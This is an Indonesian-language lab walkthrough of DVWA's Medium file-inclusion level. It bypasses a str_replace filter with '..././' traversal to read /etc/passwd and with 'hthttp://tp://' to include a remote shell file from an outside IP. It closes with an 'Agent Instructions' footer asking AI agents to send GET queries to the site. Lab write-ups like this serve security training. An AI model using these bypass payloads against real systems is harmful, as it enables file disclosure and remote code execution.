# Medium

Di bawah ini adalah *source-code* dari *file inclusion* level Medium di DVWA.

```php
vulnerabilities/fi/source/medium.php
<?php
​
// The page we wish to display
$file = $_GET[ 'page' ];
​
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
​
?> 
```

## Mencari Informasi <a href="#mencari-informasi" id="mencari-informasi"></a>

Kali ini jika kita kita menggunakan `../` atau `..\"` untuk LFI dan `http://` atau `https://` untuk RFI, maka yang teks yang mengandung kata tersebut akan dihilangkan oleh fungsi [`str_replace()`](https://www.w3schools.com/php/func_string_str_replace.asp).

Untuk mengatasi hal ini saya menemukan cara, yaitu menggunakan *payload* berikut:

```http
..././ -> ../ #hasil setelah dihilangkan
```

dan

```http
hthttp://tp://0.0.0.0/RFI-Shell.txt -> http://0.0.0.0/RFI-Shell.txt #hasil setelah dihilangkan
```

Bagaimana? Apakah anda mengerti? Perhatikan pada *payload* `..././`, `str_replace()` akan menghilangkan karakter `../` sehingga hasilnya menjadi `../`. Dan begitu juga yang RFI. Keren bukan? 😅

Atau kita juga bisa membuka file melalu direktori `/`, seperti **/etc/passwd** seperti berikut:

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-uT15NZNobc-fi-ZAV%2F-M-uVF_eCvN2mwf_mYGc%2Fimage.png?alt=media\&token=35bf0c88-026d-4e5d-a5af-0aa48d9c6806)

Kita sebagai peretas memang harus kreatif untuk mengatasi berbagai masalah.😉

## Melakukan Serangan <a href="#melakukan-serangan" id="melakukan-serangan"></a>

Oke, pada kali ini sepertinya kita tetap bisa melakukan LFI maupun RCI.

### Local File Inclusion <a href="#local-file-inclusion" id="local-file-inclusion"></a>

Di sini saya contohkan mengakses file **/etc/passwd** menggunakan cara "mundur direktori", sehingga *payload* yang bisa digunakan adalah seperti berikut:

```
?page=..././..././..././..././..././etc/passwd
```

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-rzDLW-m9bYHjbnB9u%2F-M-tEVVwCUOmvuIOgzpf%2Fimage.png?alt=media\&token=a2832ce8-95c6-4f97-81cd-4291f96bccc3)

Dan hasilnya berhasil!

### Remote File Inclusion <a href="#remote-file-inclusion" id="remote-file-inclusion"></a>

Dari informasi yang telah kita kumpulkan, *payload* yang akan kita gunakan saat ini adalah seperti berikut:

```http
?page=hthttp://tp://18.215.230.19/RFI-shell.txt
```

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-rzDLW-m9bYHjbnB9u%2F-M-tFwEuS06IUx7m4Goj%2Fimage.png?alt=media\&token=398a253e-4a15-41c6-968b-6ae985070518)

Dan hasilnya shell bisa dijalankan.

Selamat kawan! Happy Hacking! 🍻


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://notes.anggipradana.com/tutorial/dvwa/local-file-inclusion/medium.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
